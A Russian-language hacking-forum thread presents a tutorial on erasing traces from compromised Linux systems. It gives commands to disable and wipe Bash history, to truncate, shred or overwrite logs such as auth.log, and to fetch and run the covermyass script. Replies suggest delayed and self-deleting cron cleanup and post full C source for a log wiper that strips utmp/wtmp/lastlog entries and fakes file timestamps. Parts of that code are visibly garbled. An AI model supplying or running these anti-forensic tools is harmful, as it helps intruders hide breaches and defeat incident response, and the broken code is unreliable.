What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

Чистим логи и историю Bash на взломанных Linux системах

baykal

Midle Weight
Депозит
$0
Удаление истории Bash
Bash хранит в памяти список команд, используемых в текущем сеансе, поэтому его обязательно нужно очистить, чтобы замести следы. Просмотрим текущую историю с помощью команды history:
Код:
Скопировать в буфер обмена
root@target:/# history
1 cd /
2 ls
3 find / -perm -222 -type d 2>/dev/null
4 cd /dev/shm/
5 cd /
6 mkdir /dev/shm/.secret
7 ls -l /dev/shm/
8 ls -la /dev/shm/
9 ls
10 rmdir /dev/shm/.secret/
11 history

Команды записываются в переменную среды
Код:
Скопировать в буфер обмена
HISTFILE
, обычно это
Код:
Скопировать в буфер обмена
.bash_history
. Воспользуемся echo для определения местоположения:
Код:
Скопировать в буфер обмена
root@target:/# echo $HISTFILE
/root/.bash_history
Используем команду unset для удаления переменной:
Код:
Скопировать в буфер обмена
root@target:/# unset HISTFILE
Повторив процедуру снова, видим, что ничего не появляется:
Код:
Скопировать в буфер обмена
root@target:/# echo $HISTFILE
Чтобы история команд не сохранялась, также можно ее отправить в /dev/null. Для этого установите переменную:
Код:
Скопировать в буфер обмена
root@target:/# HISTFILE=/dev/null
Или сделайте то же самое с командой экспорта:
Код:
Скопировать в буфер обмена
root@target:/# export HISTFILE=/dev/null
История теперь будет отправлена в /dev/null (то есть никуда):
Код:
Скопировать в буфер обмена
root@target:/# echo $HISTFILE
/dev/null
Установите количество команд, которые будут сохраняться во время текущего сеанса, равным 0, используя переменную HISTSIZE:
Код:
Скопировать в буфер обмена
root@target:/# HISTSIZE=0
В качестве альтернативы используйте команду экспорта:
Код:
Скопировать в буфер обмена
root@target:/# export HISTSIZE=0
Измените количество строк, разрешенных в файле истории, с помощью переменной HISTFILESIZE. Установите данное значение на 0:
Код:
Скопировать в буфер обмена
root@target:/# HISTFILESIZE=0
Или с экспортом:
Код:
Скопировать в буфер обмена
root@target:/# export HISTFILESIZE=0
Для изменения параметров оболочки также можно использовать команду set. Чтобы отключить опцию истории, используйте следующую команду:
Код:
Скопировать в буфер обмена
root@target:/# set +o history
Снова включите ее:
Код:
Скопировать в буфер обмена
root@target:/# set -o history
Точно так же для изменения параметров оболочки можно использовать команду shopt. Чтобы отключить историю, используйте следующую команду:
Код:
Скопировать в буфер обмена
root@target:/# shopt -ou history
Снова включите ее:
Код:
Скопировать в буфер обмена
root@target:/# shopt -os history
Во время выполнения команд на целевой системе иногда получается избежать их сохранения в истории, запустив команду с начального пробела:
Код:
Скопировать в буфер обмена
root@target:~# cat /etc/passwd
Данный метод работает не всегда и зависит от системы. Также можно просто очистить историю с помощью переключателя -c :
Код:
Скопировать в буфер обмена
root@target:~# history -c
Чтобы убедиться, что изменения записаны на диск, используйте переключатель -w :
Код:
Скопировать в буфер обмена
root@target:~# history -w
Данные действия очистят историю только для текущего сеанса. Чтобы окончательно убедиться, что история очищается при выходе из сеанса, пригодится следующая команда:
Код:
Скопировать в буфер обмена
root@target:/# cat /dev/null > ~/.bash_history && history -c && exit
Также можно использовать команду kill для выхода из сеанса без сохранения истории:
Код:
Скопировать в буфер обмена
root@target:/# kill -9 $$
Очистка файла журнала
В дополнение к истории Bash также требуется почистить логи, чтобы оставаться незамеченными. Вот некоторые общие файлы журналов и их содержимое:
/var/log/auth.log Аутентификация
/var/log/cron.log Cron задачи
/var/log/maillog Почта
/var/log/httpd Apache
Конечно, можно просто удалить журнал с помощью команды rm :
Код:
Скопировать в буфер обмена
root@target:/# rm /var/log/auth.log
Но скорее всего, данная процедура вызовет многочисленные красные флажки. Поэтому лучше сделать файл пустым, чем стирать его полностью. Используем команду truncate, чтобы уменьшить размер файла до 0:
Код:
Скопировать в буфер обмена
root@target:/# truncate -s 0 /var/log/auth.log
Обратите внимание, функция усечения присутствует не всегда и не во всех системах.

То же самое можно сделать, отображая в файл “ничего”:
Код:
Скопировать в буфер обмена
root@target:/# echo '' > /var/log/auth.log
А также использовать > сам по себе для очистки файла:
Код:
Скопировать в буфер обмена
root@target:/# > /var/log/auth.log
Мы также можем отправить его в /dev/null:
Код:
Скопировать в буфер обмена
root@target:/# cat /dev/null > /var/log/auth.log
Или использовать команду tee :
Код:
Скопировать в буфер обмена
root@target:/# true | tee /var/log/auth.log
Также можно использовать команду dd, чтобы ничего не записывать в файл журнала:
Код:
Скопировать в буфер обмена
root@target:/# dd if=/dev/null of=/var/log/auth.log
0+0 records in
0+0 records out
0 bytes (0 B) copied, 6.1494e-05 s, 0.0 kB/s
Команда shred может быть использована, чтобы поверх перезаписать файл с бессмысленными двоичными данными:
Код:
Скопировать в буфер обмена
root@target:/# shred /var/log/auth.log
Дополнительно добавив -zu, вы обрежете файл и перезапишете его нулями:
Код:
Скопировать в буфер обмена
root@target:/# shred -zu /var/log/auth.log
Скрипт Covermyass
Скрипт Covermyass автоматизирует процессы, рассмотренные нами ранее, включая очистку файлов журнала и отключение истории Bash.
Код:
Скопировать в буфер обмена
root@target:/# wget https://raw.githubusercontent.com/sundowndev/covermyass/master/covermyass
Перейдите в каталог с возможностью записи и используйте chmod, чтобы сделать его исполняемым:
Код:
Скопировать в буфер обмена
root@target:/tmp# chmod +x covermyass
Затем запустите его:
Код:
Скопировать в буфер обмена
root@target:/tmp# ./covermyass

Welcome to Cover my ass tool !
Select an option :
1) Clear logs for user root
2) Permenently disable auth & bash history
3) Restore settings to default
99) Exit tool
Нам предоставляется настраиваемая подсказка с несколькими вариантами на выбор. Выберем первый, чтобы очистить логи:
Код:
Скопировать в буфер обмена
> 1
[+] /var/log/messages cleaned.
[+] /var/log/auth.log cleaned.
[+] /var/log/kern.log cleaned.
[+] /var/log/wtmp cleaned.
[+] ~/.bash_history cleaned.
[+] History file deleted.
Reminder: your need to reload the session to see effects.
Type exit to do so.
Также можно отключить Bash и историю авторизации с помощью опции 2:
Код:
Скопировать в буфер обмена
> 2
[+] Permanently sending /var/log/auth.log to /dev/null
[+] Permanently sending bash_history to /dev/null
[+] Set HISTFILESIZE & HISTSIZE to 0
[+] Disabled history library
Permenently disabled bash log.
Если вам нужно срочно все очистить, просто добавьте в команду now:
Код:
Скопировать в буфер обмена
root@target:/tmp# ./covermyass now
Код:
Скопировать в буфер обмена
[+] /var/log/messages cleaned.
[+] /var/log/kern.log cleaned.
[+] /var/log/wtmp cleaned.
[+] ~/.bash_history cleaned.
[+] History file deleted.
Reminder: your need to reload the session to see effects.
Type exit to do so.

автор @DRD_, Cyber Weapons Lab
 
Пожалуйста, обратите внимание, что пользователь заблокирован
афтар забыл что часть инфы записывается уже после того как юзер вышел (wtmp & auth.log for ex.) так что описанное использование скрипта сотрет только часть следов
 
В таком случае можно воспользоваться отложенным запуском. Это даст необходимое время для выхода из системы.
Что - то вроде
Код:
Скопировать в буфер обмена
screen -d -m sh -c "sleep 10; <clean_commands>"

Или добавить хитрый sh скрипт в cron, который почистит следы через некоторое время и затем удалит и себя и запись в cron-е
 
Ну или можно гораздо проще - заюзать софтину написанную на сях(логвайпер):
Код:
Скопировать в буфер обмена
/*
[ ]--------------=[ security40bscurity at 0xbscured.net presents ]=-----------[ ]
| |
| A D V A N C E D L O G W I P E R |
| |
| Wipe the shits u left behind u, in almost all type of log filez |
| (currently supported all utmp.h stuff and any plain text logz) |
| |
| Some feachers also provided like lastlog normalisation after |
| utmp/wtmp wiping |
| |
[ ]---------------------------------------------=[ in /dev/null we trust.. ]=-[ ]
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <getopt.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <utime.h>
#include <utmp.h>
#include <fcntl.h>
#include <errno.h>
#include <pwd.h>
#include <netdb.h>
#include <arpa/inet.h>

struct Logz {
char *file;
int (*parser)(struct Logz *);
};

int last(struct Logz *);
int xtmp(struct Logz *);
int plain(struct Logz *);

char TMP[BUFSIZ];

struct Logz logz[] = {
{_PATH_UTMP, xtmp},
{_PATH_WTMP, xtmp},
{_PATH_LASTLOG, last},
{"/var/log/secure", plain},
{"/var/log/auth.log", plain},
{"/var/log/messages", plain},
{"/var/log/audit/audit.log", plain},
{"/var/log/httpd-access.log", plain},
{"/var/log/httpd-error.log", plain},
{"/var/log/xferlog", plain},
{NULL, NULL},
{NULL, NULL}
};

char *user, *ip, *dns, *term, *lastuser;
struct utimbuf cur;
struct stat orig;
struct lastlog newll;

void usage(char *prog){
printf("Usage: %s [-u user ] [-h host ] [-t ttyX] [-f logfile]\n"
"wipe all evidence about given argv..\n", prog);
exit(0);
}

int gettime(char *file){
if (stat(file, &orig) < 0) {
return(0);
}

cur.actime = orig.st_atime;
cur.modtime = orig.st_mtime;

return(1);
}

void settime(char *file){
if (utime(file, &cur) < 0) {
printf("%s@%s %d: %s: %s\n", __FUNCTION__, __FILE__, __LINE__, file, strerror(errno));
exit(1);
}
}

int last(struct Logz *this){
struct passwd *pw;
int rc = 0, fd;

if (lastuser) {
if (!(pw = getpwnam(lastuser))) {
printf("%s: couldn't find such a user\n", lastuser);
return (-1);
}

if ((fd = open(this->file, O_RDWR)) < 0)
return (-1);

if (lseek(fd, pw->pw_uid * sizeof(struct lastlog), SEEK_SET) < 0)
return (-1);

write(fd, &newll, sizeof(struct lastlog));
close(fd);
printf("%s: fixed!\n", this->file);
}
return (rc);
}

int xtmp(struct Logz *this){
struct utmp utmp_e;
int fd1, fd2;
int i, rc = 0;

// 2 avoid damned cross link error
strcpy(TMP, this->file);
for (i = strlen(TMP); TMP != '/'; i--);
TMP = 0x0;
strcat(TMP, "/.zZ");

if ((fd2 = open(TMP, O_WRONLY|O_CREAT, S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH)) < 0){
printf("%s@%s %d: %s: %s\n", __FUNCTION__, __FILE__, __LINE__, this->file, strerror(errno));
return (-1);
}

if ((fd1 = open(this->file, O_RDWR)) < 0)
return (-1);

while (read(fd1, &utmp_e, sizeof(utmp_e)) > 0) {
if ((user != NULL) && (!strncmp(utmp_e.ut_name, user, UT_NAMESIZE))) {
if (!lastuser)
lastuser = malloc(UT_NAMESIZE + 1);
strcpy(lastuser, utmp_e.ut_name);
rc++; continue;
}
if ((ip != NULL) && (!strncmp(utmp_e.ut_host, ip, UT_HOSTSIZE))) {
if (!lastuser)
lastuser = malloc(UT_NAMESIZE + 1);
strcpy(lastuser, utmp_e.ut_name);
rc++; continue;
}
if ((dns != NULL) && (!strncmp(utmp_e.ut_host, dns, UT_HOSTSIZE))) {
if (!lastuser)
lastuser = malloc(UT_NAMESIZE + 1);
strcpy(lastuser, utmp_e.ut_name);
rc++; continue;
}
if ((term != NULL) && (!strncmp(utmp_e.ut_line, term, strlen(term)))) { rc++; continue; }
write(fd2, &utmp_e, sizeof(utmp_e));
}

close(fd1);
close(fd2);

if (unlink(this->file) < 0)
return (-1);

if (rename(TMP, this->file) == -1)
return (-1);

// prepearing lastlog normalization
memset(&newll, 0x0, sizeof(struct lastlog));
fd1 = open(this->file, O_RDWR);
while (read(fd1, &utmp_e, sizeof(utmp_e)) > 0) {
if (lastuser && utmp_e.ut_time > newll.ll_time && !strcmp(utmp_e.ut_name, lastuser)) {
strcpy(newll.ll_host, utmp_e.ut_host);
strcpy(newll.ll_line, utmp_e.ut_line);
newll.ll_time = utmp_e.ut_time;
}
}
close(fd1);

return (rc);
}

int plain(struct Logz *this) {
char str[BUFSIZ], *boundary;
FILE *f1, *f2;
int i, rc = 0;

// 2 avoid damned cross link error
strcpy(TMP, this->file);
for (i = strlen(TMP); TMP != '/'; i--);
TMP = 0x0;
strcat(TMP, "/.zZ");

if (!(f2 = fopen(TMP, "w+"))){
printf("%s@%s %d: %s: %s\n", __FUNCTION__, __FILE__, __LINE__, TMP, strerror(errno));
return (-1);
}

if (!(f1 = fopen(this->file, "r")))
return (-1);

for(fgets(str, BUFSIZ, f1); !feof(f1); fgets(str, BUFSIZ, f1)) {
if (user != NULL) {
if ((boundary = strstr(str, user))) {
// m/[=\s]user[\n\s]/
boundary--;
if (*boundary == '=' || *boundary == ' ') {
boundary += strlen(user) + 1;
if (*boundary == '\n' || *boundary == ' ') { rc++; continue; }
}
}
}
if ((ip != NULL) && (strstr(str, ip))) { rc++; continue; }
if ((dns != NULL) && (strstr(str, dns))) { rc++; continue; }
if (term != NULL) {
if ((boundary = strstr(str, term))) {
// m/[=\s]term[\n\s]/
boundary--;
if (*boundary == '=' || *boundary == ' ') {
boundary += strlen(term) + 1;
if (*boundary == '\n' || *boundary == ' ') { rc++; continue; }
}
}
}

fputs(str, f2);
}

if (rc) {
fclose(f1);
rewind(f2);

if (!(f1 = fopen(this->file, "w")))
return (-1);

for(fgets(str, BUFSIZ, f2); !feof(f2); fgets(str, BUFSIZ, f2))
fputs(str, f1);
}

fclose(f2);
fclose(f1);

if (unlink(TMP) < 0) {
printf("%s@%s %d: %s: %s\n", __FUNCTION__, __FILE__, __LINE__, TMP, strerror(errno));
return (-1);
}

return (rc);
}

int main(int argc, char **argv){
struct in_addr addr;
struct hostent *host;
char *pattern;
int rc, c, i;

if (argc < 2 ) usage(argv[0]);

if ((int)geteuid() != 0) {
printf(":(\n");
exit(1);
}

do {
c = getopt(argc, argv, "h:u:t:f:");
switch(c) {
case 'h':
if (!(host = gethostbyname(optarg))) {
printf("%s: %s\n", optarg, hstrerror(h_errno));
exit(1);
}

memcpy(&addr, host->h_addr, sizeof(struct in_addr));
ip = malloc(UT_HOSTSIZE + 1);
strcpy(ip, inet_ntoa(addr));
pattern = ip;

if ((host = gethostbyaddr(&addr, sizeof(struct in_addr), AF_INET))) {
dns = malloc(strlen(host->h_name) + 1);
strcpy(dns, host->h_name);
pattern = dns;
}


break;

case 'u':
if (strlen(optarg) > UT_NAMESIZE) {
printf("username is too long!\n");
exit(1);
}
user = malloc(UT_NAMESIZE + 1);
strcpy(user, optarg);
pattern = user;
break;

case 't':
if (strlen(optarg) > UT_LINESIZE) {
printf("terminal line is too long!\n");
exit(1);
}
term = malloc(UT_LINESIZE + 1);
strcpy(term,optarg);
pattern = term;
break;

case 'f':
for(i = 0; logz.file; i++);
logz.file = optarg;
logz.parser = plain;
break;

case '?':
usage(argv[0]);
break;

case -1:
break;
default:
printf("Fuck!!\n");
exit(1);
}
} while( c != -1);

// Here we go !
printf("search pattern: \e[1;37m%s\e[0m\n", pattern);
for(i = rc = 0; logz.file; i++) {
if (!gettime(logz.file))
continue;

if ((rc = logz.parser(&logz)) < 0) {
printf("%s: %s\n", logz.file, strerror(errno));
continue;
}

if (rc)
printf("%s: %d\n", logz.file, rc);

settime(logz.file);
}

return (0);
}
 
Пожалуйста, обратите внимание, что пользователь заблокирован
вайп это палево, бобру сразу станет понятно что сломали. логи чуть корректируются и будут долго искать...
 
Harbour сказал(а):
вайп это палево, бобру сразу станет понятно что сломали. логи чуть корректируются и будут долго искать...

ну для своей впс можно использовать
 
Top